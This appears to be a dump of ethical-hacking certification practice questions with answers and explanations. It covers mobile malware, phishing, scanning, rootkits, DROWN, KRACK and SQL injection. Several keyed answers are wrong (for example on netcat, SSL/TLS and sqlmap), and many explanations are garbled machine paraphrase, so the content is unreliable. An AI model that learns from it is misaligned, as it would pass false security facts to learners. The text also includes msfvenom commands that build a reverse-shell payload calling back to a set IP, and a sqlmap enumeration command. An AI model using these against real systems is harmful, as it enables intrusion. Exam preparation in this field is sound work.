One of the most effective means of preventing a hijack attack is to want a secret, that's a shared secret between the shopper and also the server. looking on the strength of security desired, the key may be used for random exchanges. this is often once a client and server periodically challenge each other, or it will occur with each exchange, like Kerberos.

NEW QUESTION 51
Don, a student, came across a gaming app in a third-party app store and Installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after Installing the app. What is the attack performed on Don in the above scenario?

A. SMS phishing attack
B. SIM card attack
C. Agent Smith attack
D. Clickjacking

Answer: C

Explanation:
Agent Smith Attack
Agent Smith attacks are carried out by luring victims into downloading and installing malicious apps designed and published by attackers in the form of games, photo editors, or other attractive tools from third-party app stores such as 9Apps. Once the user has installed the app, the core malicious code inside the application infects or replaces the legitimate apps in the victim's mobile device C&C commands. The deceptive application replaces legitimate apps such as WhatsApp, SHAREit, and MX Player with similar infected versions. The application sometimes also appears to be an authentic Google product such as Google Updater or Themes. The attacker then produces a massive volume of irrelevant and fraudulent advertisements on the victim's device through the infected app for financial gain. Attackers exploit these apps to steal critical information such as personal information, credentials, and bank details, from the victim's mobile device through C&C commands.

NEW QUESTION 56
You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist's email, and you send her an email changing the source email to her boss's email (boss@company). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don't work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network. What testing method did you use?

A. Social engineering
B. Piggybacking
C. Tailgating
D. Eavesdropping

Answer: A

Explanation:
Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.
Social engineering attacks typically involve some form of psychological manipulation, fooling otherwise unsuspecting users or employees into handing over confidential or sensitive data. Commonly, social engineering involves email or other communication that invokes urgency, fear, or similar emotions in the victim, leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because social engineering involves a human element,

preventing these attacks can be tricky for enterprises.
Incorrect answers:
Tailgating and Piggybacking are the same thing
Tailgating, sometimes referred to as piggybacking, is a physical security breach in which an unauthorized person follows an authorized individual to enter a secured premise.
Tailgating provides a simple social engineering-based way around many security mechanisms one would think of as secure. Even retina scanners don't help if an employee holds the door for an unknown person behind them out of misguided courtesy.
People who might tailgate include disgruntled former employees, thieves, vandals, mischief-makers, and issues with employees or the company. Any of these can disrupt business, cause damage, create unexpected costs, and lead to further safety issues.
Eavesdropping https://en.wikipedia.org/wiki/Eavesdropping
Eavesdropping is the act of secretly or stealthily listening to the private conversation or communications of others without their consent in order to gather information. Since the beginning of the digital age, the term has also come to hold great significance in the world of cybersecurity.
The question does not specify at what level and how this attack is used. An attacker can eavesdrop on a conversation or use special software and obtain information on the network. There are many options, but this is not important because the correct answer is clearly not related to information interception.

NEW QUESTION 60
Which address translation scheme would allow a single public IP address to always correspond to a single machine on an internal network, allowing "server publishing"?

A. Overloading Port Address Translation
B. Dynamic Port Address Translation
C. Dynamic Network Address Translation
D. Static Network Address Translation

Answer: D

NEW QUESTION 65
What is the proper response for a NULL scan if the port is open?

A. SYN
B. ACK
C. FIN
D. PSH
E. RST
F. No response

Answer: F

NEW QUESTION 70
What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?

A. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.
B. Symmetric algorithms such as AES provide a failsafe when asymmetric methods fail.
C. Symmetric encryption allows the server to security transmit the session keys out-of-band.
D. Asymmetric cryptography is computationally expensive in compariso
E. However, it is well-suited to securely negotiate keys for use with symmetric cryptography.

Answer: A

NEW QUESTION 73
The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE’s Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the Transport Layer Security (TLS) protocols defined in RFC6520.
What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?

A. Public
B. Private
C. Shared
D. Root

Answer: B

NEW QUESTION 75
Kevin, a professional hacker, wants to penetrate CyberTech Inc.’s network. He employed a technique, using which he encoded packets with Unicode characters. The company’s IDS cannot recognize the packet, but the target web server can decode them.
What is the technique used by Kevin to evade the IDS system?

A. Desynchronization
B. Obfuscating
C. Session splicing
D. Urgency flag

Answer: B

Explanation:
Adversaries could decide to build an possible or file difficult to find or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. this is often common behavior which will be used across totally different platforms and therefore the network to evade defenses.
Payloads may be compressed, archived, or encrypted so as to avoid detection. These payloads may be used throughout Initial Access or later to mitigate detection. typically a user's action could also be needed to open and Deobfuscate/Decode Files or info for User Execution. The user can also be needed to input a parole to open a parole protected compressed/encrypted file that was provided by the mortal. Adversaries can also used compressed or archived scripts, like JavaScript.
Portions of files can even be encoded to cover the plain-text strings that will otherwise facilitate defenders with discovery. Payloads can also be split into separate, ostensibly benign files that solely reveal malicious practicality once reassembled.
Adversaries can also modify commands dead from payloads or directly via a Command and Scripting Interpreter. surroundings variables, aliases, characters, and different platform/language specific linguistics may be wont to evade signature based mostly detections and application management mechanisms.

NEW QUESTION 76
You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page.
What Is the best Linux pipe to achieve your milestone?

A. dirb https://site.com | grep "site"
B. curl -s https://sile.com | grep ‘’< a href-\’http" | grep "Site-com- | cut -d "V" -f 2
C. wget https://stte.com | grep "< a href=*http" | grep "site.com"
D. wgethttps://site.com | cut-d"http

Answer: C

NEW QUESTION 78
In the context of Windows Security, what is a 'null' user?

A. A user that has no skills
B. An account that has been suspended by the admin
C. A pseudo account that has no username and password
D. A pseudo account that was created for security administration purpose

Answer: C

NEW QUESTION 83
To invisibly maintain access to a machine, an attacker utilizes a toolkit that sits undetected In the core components of the operating system. What is this type of rootkit an example of?

A. Mypervisor rootkit
B. Kernel toolkit
C. Hardware rootkit
D. Firmware rootkit

Answer: B

Explanation:
Kernel-mode rootkits run with the best operating system privileges (Ring 0) by adding code or replacement parts of the core operating system, as well as each the kernel and associated device drivers. Most operative systems support kernel-mode device drivers, that execute with a similar privileges because the software itself. As such, several kernel-mode rootkits square measure developed as device drivers or loadable modules, like loadable kernel modules in Linux or device drivers in Microsoft Windows. This category of rootkit has unrestricted security access, however is tougher to jot down. The quality makes bugs common, and any bugs in code operative at the kernel level could seriously impact system stability, resulting in discovery of the rootkit. one amongst the primary wide familiar kernel rootkits was developed for Windows NT four.0 and discharged in Phrack magazine in 1999 by Greg Hoglund. Kernel rootkits is particularly tough to observe and take away as a result of they operate at a similar security level because the software itself, and square measure therefore able to intercept or subvert the foremost sure software operations. Any package, like antivirus package, running on the compromised system is equally vulnerable. during this scenario, no a part of the system is sure.

NEW QUESTION 87
A pen tester is configuring a Windows laptop for a test. In setting up Wireshark, what river and library are required to allow the NIC to work in promiscuous mode?

A. Libpcap
B. Awinpcap
C. Winprom
D. Winpcap

Answer: D

NEW QUESTION 92
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Answer: C

Explanation:
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module

and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=Y<our IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

NEW QUESTION 97
Allen, a professional pen tester, was hired by xpertTech solutWns to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. B/enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration.
identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

A. <1B>
B. <00>
C. <03>
D. <20>
E. C<03>Windows Messenger administrationCourier administration is an organization based framework notice Windows administration by Microsoft that was remembered for some prior forms of Microsoft Windows.This resigned innovation, despite the fact that it has a comparable name, isn’t connected in any capacity to the later, Internet-based Microsoft Messenger administration for texting or to Windows Messenger and Windows Live Messenger (earlier named MSN Messenger) customer programming.The Messenger Service was initially intended for use by framework managers to tell Windows clients about their networks.[1] It has been utilized malevolently to introduce spring up commercials to clients over the Internet (by utilizing mass-informing frameworks which sent an ideal message to a predetermined scope of IP addresses). Despite the fact that Windows XP incorporates a firewall, it isn’t empowered naturall
F. Along these lines, numerous clients got such message
G. Because of this maltreatment, the Messenger Service has been debilitated as a matter of course in Windows XP Service Pack 2.

Answer: E

NEW QUESTION 98
The company ABC recently contracts a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. Which of the following options can be useful to ensure the integrity of the data?

A. The CFO can use a hash algorithm in the document once he approved the financial statements
B. The CFO can use an excel file with a password
C. The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure is the same document
D. The document can be sent to the accountant using an exclusive USB for that document

Answer: A

NEW QUESTION 101
Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

A. Exploration
B. Investigation
C. Reconnaissance
D. Enumeration

Answer: C

NEW QUESTION 103
Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target system, he finds a list of hashed passwords.
Which of the following tools would not be useful for cracking the hashed passwords?

A. John the Ripper
B. Hashcat
C. netcat
D. THC-Hydra

Answer: A

NEW QUESTION 107
Which of the following types of SQL injection attacks extends the results returned by the original query, enabling attackers to run two or more statements if they have the same structure as the original one?

A. Error-based injection
B. Boolean-based blind SQL injection
C. Blind SQL injection
D. Union SQL injection

Answer: D

NEW QUESTION 110
A company’s Web development team has become aware of a certain type of security vulnerability in their Web software. To mitigate the possibility of this

vulnerability being exploited, the team wants to modify the software requirements to disallow users from entering HTML as input into their Web application.
What kind of Web application vulnerability likely exists in their software?

A. Cross-site scripting vulnerability
B. SQL injection vulnerability
C. Web site defacement vulnerability
D. Gross-site Request Forgery vulnerability

Answer: A

Explanation:
There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. In this issue, we consider the non-persistent cross-site scripting vulnerability.
The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability. These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the content.
Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.

NEW QUESTION 115
User A is writing a sensitive email message to user B outside the local network. User A has chosen to use PKI to secure his message and ensure only user B can read the sensitive email. At what layer of the OSI layer does the encryption and decryption of the message take place?

A. Application
B. Transport
C. Session
D. Presentation

Answer: D

Explanation:
https://en.wikipedia.org/wiki/Presentation_layer
In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.
Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the data as it is received.

NEW QUESTION 120
Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSlv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.
Which of the following attacks can be performed by exploiting the above vulnerability?

A. DROWN attack
B. Padding oracle attack
C. Side-channel attack
D. DUHK attack

Answer: A

Explanation:
DROWN is a serious vulnerability that affects HTTPS and other services that deem SSL and TLS, some of the essential cryptographic protocols for net security. These protocols allow everyone on the net to browse the net, use email, look on-line, and send instant messages while not third-parties being able to browse the communication.
DROWN allows attackers to break the encryption and read or steal sensitive communications, as well as passwords, credit card numbers, trade secrets, or financial data. At the time of public disclosure on March 2016, our measurements indicated thirty third of all HTTPS servers were vulnerable to the attack. fortuitously, the vulnerability is much less prevalent currently. As of 2019, SSL Labs estimates that one.2% of HTTPS servers are vulnerable.
What will the attackers gain?Any communication between users and the server. This typically includes, however isn't limited to, usernames and passwords, credit card numbers, emails, instant messages, and sensitive documents. under some common scenarios, an attacker can also impersonate a secure web site and intercept or change the content the user sees.
Who is vulnerable?Websites, mail servers, and other TLS-dependent services are in danger for the DROWN attack. At the time of public disclosure, many popular sites were affected. we used Internet-wide scanning to live how many sites are vulnerable:

Operators of vulnerable servers got to take action. there's nothing practical that browsers or end-users will do on their own to protect against this attack.
Is my site vulnerable?Modern servers and shoppers use the TLS encryption protocol. However, because of misconfigurations, several servers also still support SSLv2, a 1990s-era precursor to TLS. This support did not matter in practice, since no up-to-date clients really use SSLv2. Therefore, despite the fact that SSLv2 is thought to be badly insecure, until now, simply supporting SSLv2 wasn't thought of a security problem, is a clients never used it.
DROWN shows that merely supporting SSLv2 may be a threat to fashionable servers and clients. It modern associate degree attacker to modern fashionable TLS connections between up-to-date clients and servers by sending probes to a server that supports SSLv2 and uses the same private key.

It allows SSLv2 connections. This is surprisingly common, due to misconfiguration and inappropriate default settings.
Its private key is used on any other serverthat allows SSLv2 connections, even for another protocol.
Many companies reuse the same certificate and key on their web and email servers, for instance. In this case, if the email server supports SSLv2 and the web server does not, an attacker can take advantage of the email server to break TLS connections to the web server.

How do I protect my server?To protect against DROWN, server operators need to ensure that their private keys software used anyplace with server computer code that enables SSLv2 connections. This includes net servers, SMTP servers, IMAP and POP servers, and the other software that supports SSL/TLS.
Disabling SSLv2 is difficult and depends on the particular server software. we offer instructions here for many common products:

OpenSSL: OpenSSL may be a science library employed in several server merchandise. For users of OpenSSL, the simplest and recommended solution is to upgrade to a recent OpenSSL version. OpenSSL 1.0.2 users
ought to upgrade to 1.0.2g. OpenSSL 1.0.1 users ought to upgrade to one.0.1s. Users of older OpenSSL versions ought to upgrade to either one in every of these versions. (Updated March thirteenth, 16:00 UTC) Microsoft IIS (Windows Server): Support for SSLv2 on the server aspect is enabled by default only on the OS versions that correspond to IIS 7.0 and IIS seven.5, particularly Windows scene, Windows Server 2008, Windows seven and Windows Server 2008R2. This support is disabled within the appropriate SSLv2 subkey for 'Server', as outlined in KB245030. albeit users haven't taken the steps to disable SSLv2, the export-grade and 56-bit ciphers that build DROWN possible don't seem to be supported by default.
Network Security Services (NSS): NSS may be a common science library designed into several server merchandise. NSS versions three.13 (released back in 2012) and higher than ought to have SSLv2 disabled by default. (A little variety of users might have enabled SSLv2 manually and can got to take steps to disable it.) Users of older versions ought to upgrade to a more moderen version. we tend to still advocate checking whether or not your non-public secret is exposed elsewhere
Other affected software and in operation systems:
Instructions and data for: Apache, Postfix, Nginx, Debian, Red Hat
Browsers and other consumers: practical nothing practical that net browsers or different client computer code will do to stop DROWN. only server operators ar ready to take action to guard against the attack.

NEW QUESTION 125
Vlady works in a fishing company where the majority of the employees have very little understanding of IT let alone IT Security. Several information security issues that Vlady often found includes, employees sharing password, writing his/her password on a post it note and stick it to his/her desk, leaving the computer unlocked, didn't log out from emails or other social media accounts, and etc.
After discussing with his boss, Vlady decided to make some changes to improve the security environment in his company. The first thing that Vlady wanted to do is to make the employees understand the importance of keeping confidential information, such as password, a secret and they should not share it with other persons.
Which of the following steps should be the first thing that Vlady should do to make the employees in his company understand to importance of keeping confidential information a secret?

A. Warning to those who write password on a post it note and put it on his/her desk
B. Developing a strict information security policy
C. Information security awareness training
D. Conducting a one to one discussion with the other employees about the importance of information security

Answer: A

NEW QUESTION 130
Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session 10 to the target employee. The session ID links the target employee to Boneys account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boneys account. What is the attack performed by Boney in the above scenario?

A. Session donation attack
B. Session fixation attack
C. Forbidden attack
D. CRIME attack

Answer: A

Explanation:
In a session donation attack, the attacker donates their own session ID to the target user. In this
attack, the attacker first obtains a valid session ID by logging into a service and later feeds the same session ID to the target user. This session ID links a target user to the attacker's account page without disclosing any information to the victim. When the target user clicks on the link and enters the details (username, password, payment details, etc.) in a form, the entered
details are linked to the attacker's account. To initiate this attack, the attacker can send their session ID using techniques such as cross-site cooking, an MITM attack, and session fixation. A session donation attack involves the following steps.

NEW QUESTION 131
Nathan is testing some of his network devices. Nathan is using Macof to try and flood the ARP cache of these switches.
If these switches' ARP cache is successfully flooded, what will be the result?

A. The switches will drop into hub mode if the ARP cache is successfully flooded.
B. If the ARP cache is flooded, the switches will drop into pix mode making it less susceptible to attacks.
C. Depending on the switch manufacturer, the device will either delete every entry in its ARP cache or reroute packets to the nearest switch.
D. The switches will route all traffic to the broadcast address created collisions.

Answer: A

NEW QUESTION 136
What is the following command used for?
sqlmap.py-u
,,http://10.10.1.20/?p=1
&forumaction=search" -dbs

A. Creating backdoors using SQL injection
B. A Enumerating the databases in the DBMS for the URL
C. Retrieving SQL statements being executed on the database
D. Searching database statements at the IP address given

Answer: A

NEW QUESTION 139

Mary found a high vulnerability during a vulnerability scan and notified her server team. After analysis, they sent her proof that a fix to that issue had already been applied. The vulnerability that Marry found is called what?

A. False-negative
B. False-positive
C. Brute force attack
D. Backdoor

Answer: B

Explanation:
https://www.infocyte.com/blog/2019/02/16/cybersecurity-101-what-you-need-to-know-about-false-positives-an
False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn't. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.
False negatives are uncaught cyber threats — overlooked by security tooling because they're dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

NEW QUESTION 143
in this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstall the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values. What is this attack called?

A. Chop chop attack
B. KRACK
C. Evil twin
D. Wardriving

Answer: B

Explanation:
In this attack KRACK is an acronym for Key Reinstallation Attack. KRACK may be a severe replay attack on Wi-Fi Protected Access protocol (WPA2), which secures your Wi-Fi connection. Hackers use KRACK to take advantage of a vulnerability in WPA2. When in close range of a possible victim, attackers can access and skim encrypted data using KRACK.
How KRACK WorksYour Wi-Fi client uses a four-way handshake when attempting to attach to a protected network. The handshake confirms that both the client — your smartphone, laptop, et cetera — and therefore the access point share the right credentials, usually a password for the network. This establishes the Pairwise passkey (PMK), which allows for encoding .Overall, this handshake procedure allows for quick logins and connections and sets up a replacement encryption key with each connection. this is often what keeps data secure on Wi-Fi connections, and every one protected Wi-Fi connections use the four-way handshake for security. This protocol is that the reason users are encouraged to use private or credential-protected Wi-Fi instead of public connections.KRACK affects the third step of the handshake, allowing the attacker to control and replay the WPA2 encryption key to trick it into installing a key already in use. When the key's reinstalled, other parameters related to it — the incremental transmit packet number called the nonce and therefore the replay counter — are set to their original values.Rather than move to the fourth step within the four-way handshake, nonce resets still replay transmissions of the third step. This sets up the encryption protocol for attack, and counting on how the attackers replay the third-step transmissions, they will take down Wi-Fi security.
Why KRACK may be a ThreatThink of all the devices you employ that believe Wi-Fi. it isn't almost laptops and smartphones; numerous smart devices now structure the web of Things (IoT). due to the vulnerability in WPA2, everything connected to Wi-Fi is in danger of being hacked or hijacked.Attackers using KRACK can gain access to usernames and passwords also as data stored on devices. Hackers can read emails and consider photos of transmitted data then use that information to blackmail users or sell it on the Dark Web.Theft of stored data requires more steps, like an HTTP content injection to load malware into the system. Hackers could conceivably take hold of any device used thereon Wi-Fi connection. Because the attacks require hackers to be on the brink of the target, these internet security threats could also cause physical security threats.On the opposite hand, the necessity to be in close proximity is that the only excellent news associated with KRACK, as meaning a widespread attack would be extremely difficult.Victims are specifically targeted. However, there are concerns that a experienced attacker could develop the talents to use HTTP content injection to load malware onto websites to make a more widespread affect.
Everyone is in danger from KRACK vulnerability. Patches are available for Windows and iOS devices, but a released patch for Android devices is currently in question (November 2017). There are issues with the discharge , and lots of question if all versions and devices are covered.The real problem is with routers and IoT devices. These devices aren't updated as regularly as computer operating systems, and for several devices, security flaws got to be addressed on the manufacturing side. New devices should address KRACK, but the devices you have already got in your home probably aren't protected.
The best protection against KRACK is to make sure any device connected to Wi-Fi is patched and updated with the newest firmware. that has checking together with your router's manufacturer periodically to ascertain if patches are available.
The safest connection option may be a private VPN, especially when publicly spaces. If you would like a VPN for private use, avoid free options, as they need their own security problems and there'll even be issues with HTTPs. Use a paid service offered by a trusted vendor like Kaspersky. Also, more modern networks use WPA3 for better security.Avoid using public Wi-Fi, albeit it's password protection. That password is out there to almost anyone, which reduces the safety level considerably.All the widespread implications of KRACK and therefore the WPA2 vulnerability aren't yet clear. what's certain is that everybody who uses Wi-Fi is in danger and wishes to require precautions to guard their data and devices.

NEW QUESTION 148
Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

A. Exploration
B. Investigation
C. Reconnaissance
D. Enumeration

Answer: C

NEW QUESTION 149
What is the proper response for a NULL scan if the port is open?

A. SYN
B. ACK
C. FIN

D. PSH
E. RST
F. No response

Answer: F

NEW QUESTION 154
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